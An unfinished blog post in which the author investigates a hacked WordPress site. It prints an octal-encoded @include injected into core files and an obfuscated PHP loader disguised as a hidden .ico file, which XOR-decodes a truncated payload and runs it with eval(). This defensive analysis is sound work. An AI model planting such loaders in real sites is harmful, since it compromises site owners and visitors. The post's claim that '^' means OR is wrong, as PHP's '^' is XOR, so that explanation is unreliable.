Skip to main content


[DRAFT] Trying to understand a WordPress virus

5 min read

Hello there!

Before I learned to code, I made a lot of websites using WordPress. A few of them are still running on a seperate webserver, because I was too lazy to migrate them all to my new server. 😅

Recently, I visited one of my old WordPress sites which I hadn't touched for years. And, surprise!, I just got a blank page. I was curious. The server still works, only the WordPress part returned blank pages - no errors, just a blank page. I logged into the server via FTP. All WordPress stuff was still there - all files, uploads, etc. The MySQL database was okay too. All content was still there. So what happened?

First of all, I took a look at the index.php file. And what did I see? After the opening <?php tag there were thousends of empty new lines... Then, finally, there was some code. It was the normal WordPress index.php code, but with 3 additional lines of code above them:

@include "/\150t\144o\143s\057w\160-\143o\156t\145n\164/\160l\165g\151n\163/\165k\055c\157o\153i\145-\143o\156s\145n\164/\0566\1410\0678\0610\146.\151c\157";

I found similar code in the wp_config.php and the wp_settings.php file.

Ouch, seems like we found something unusual. Something bad. Probably a virus.

Okay, but what does this code do?

After removing the first line and the last line (those are only comments) we are left with only one line of PHP code. The @include statement includes/imports another file in the current PHP script. The path to the file seems to be encoded. If we decode the string (e.g. with the rawurldecode() function in PHP) we get the following:


This location was different in all three files (index.php, wp_config.php and wp_settings.php).

Okay, So let's view this .6a07810f.ico file! The filename starts with a dot (.) so it's hidden in most file explorers. But no problem, we just have to change some settings in our file explorer and it becomes visible. The file looks like the following:

$_efwo02 = basename/*acv*/(/*q9*/trim/*ncz*/(/*u32*/preg_replace/*2bz*/(/*8*/rawurldecode/*74*/(/*shaw*/"%2F%5C%28.%2A%24%2F"/*62uvm*/)/*l*/, '', __FILE__/*lt*/)/*v*//*lu9a*/)/*r6pne*//*qbwmf*/)/*1d64*/;$_0q14kx6 = "G%02CJ%15VU%04%0D%40%0C%07G%09%17%17%1%07%17%0Bh%19[+ a few thousend more characters]";eval/*ku*/(/*io1nf*/rawurldecode/*d5j1t*/(/*yxio1*/$_0q14kx6/*3a6t*/)/*05u*/ ^ substr/*ilsr4*/(/*25*/str_repeat/*qpa*/(/*c5wv2*/$_efwo02, /*hf*/(/*k*/strlen/*ht*/(/*29t*/$_0q14kx6/*b*/)/*ns*//strlen/*9d0e*/(/*zlq*/$_efwo02/*ayx*/)/*hy7a9*//*s1fj*/)/*bcd*/ + 1/*blsq*/)/*fs4*/, 0, strlen/*0it*/(/*x*/$_0q14kx6/*v*/)/*k*//*i5un*/)/*o*//*tdnwk*/)/*a*/;

We clearly see: this isn't an icon file at all. It's a PHP script.

To understand what it does, first of all we remove all those random comments in there and properly format the code, so we can read it better.

$_efwo02 = basename(trim(preg_replace(rawurldecode("%2F%5C%28.%2A%24%2F"), '', __FILE__)));

$_0q14kx6 = "G%02CJ%15VU%04%0D%40%0C%07G%09C%17_Z%09%13DC%0EC%129EC8EH%0EN%19H%13ZD%15%13%1B%0Bh%01X%08%0F%40%04%0E%0B%0DGWS%11%10BCLGD%0F%0E%0AF_%18F%00Bh%19[+ a few thousend more characters]";

eval(rawurldecode($_0q14kx6) ^ substr(str_repeat($_efwo02, (strlen($_0q14kx6)/strlen($_efwo02)) + 1), 0, strlen($_0q14kx6)));

Let's take a look at the first line function by function.

rawurldecode("%2F%5C%28.%2A%24%2F") → simply decodes the given string and becomes"/\(.*$/"

__FILE__ → this is the full path to the current file. In our case "/htdocs/wp-content/plugins/uk-cookie-consent/.6a07810f.ico"

preg_replace('/\(.*$/', '', '/htdocs/wp-content/plugins/uk-cookie-consent/.6a07810f.ico') → this removes everything after the last opening bracket ( in the file-path string

trim() → removes all whitespaces at the beginning and ending of the string from before

basename() → gets the last part (=the filename) of the modified path-string from before

 After executing this line of code we get the following: $_efwo02 = '.6a07810f.ico';

Okay, so let's take a look at the next line!

$_0q14kx6 = "G%02CJH%13ZD%15%13%1B%0Bh%01X%08%0F%40%04%0E%0B%0DGWS%11%10BCLGD%0F%0E%0AF_%18F%06%40%1D%14%09%0F%18%12%14%01%05V%18%0E%07Y%17%02%14%1D%1B%0Bh%19[+ a few thousend more characters]";

I shortened this line a little bit, the real variable contained more than 100.000 characters.

For now, this line isn't very interesting - let's continue with the last line!

eval(rawurldecode($_0q14kx6) ^ substr(str_repeat($_efwo02, (strlen($_0q14kx6)/strlen($_efwo02)) + 1), 0, strlen($_0q14kx6)));

The first thing we see here: The code calls the eval() function. This can execute code directly on the server. That's bad.

So, what does it execute?

rawurldecode($_0q14kx6) → decodes the long variable from the second line [I did this and I got a long nonsens-looking string. I thought: "Maybe it's an image!", so I used a file-type identifier which claimed to be 100% confident this was a so-called "PrintFox/Pagefox bitmap" file and needed a .bs extension. I looked it up and found out that PrintFox and Pagefox are publishing programs for the Commodore 64 computer. Seems like I'm on the wrong path here... 😜]

^ → means "OR"

➡️ This post isn't finished yet... stay tuned!!


Made by An using Known and ☕️💻🍕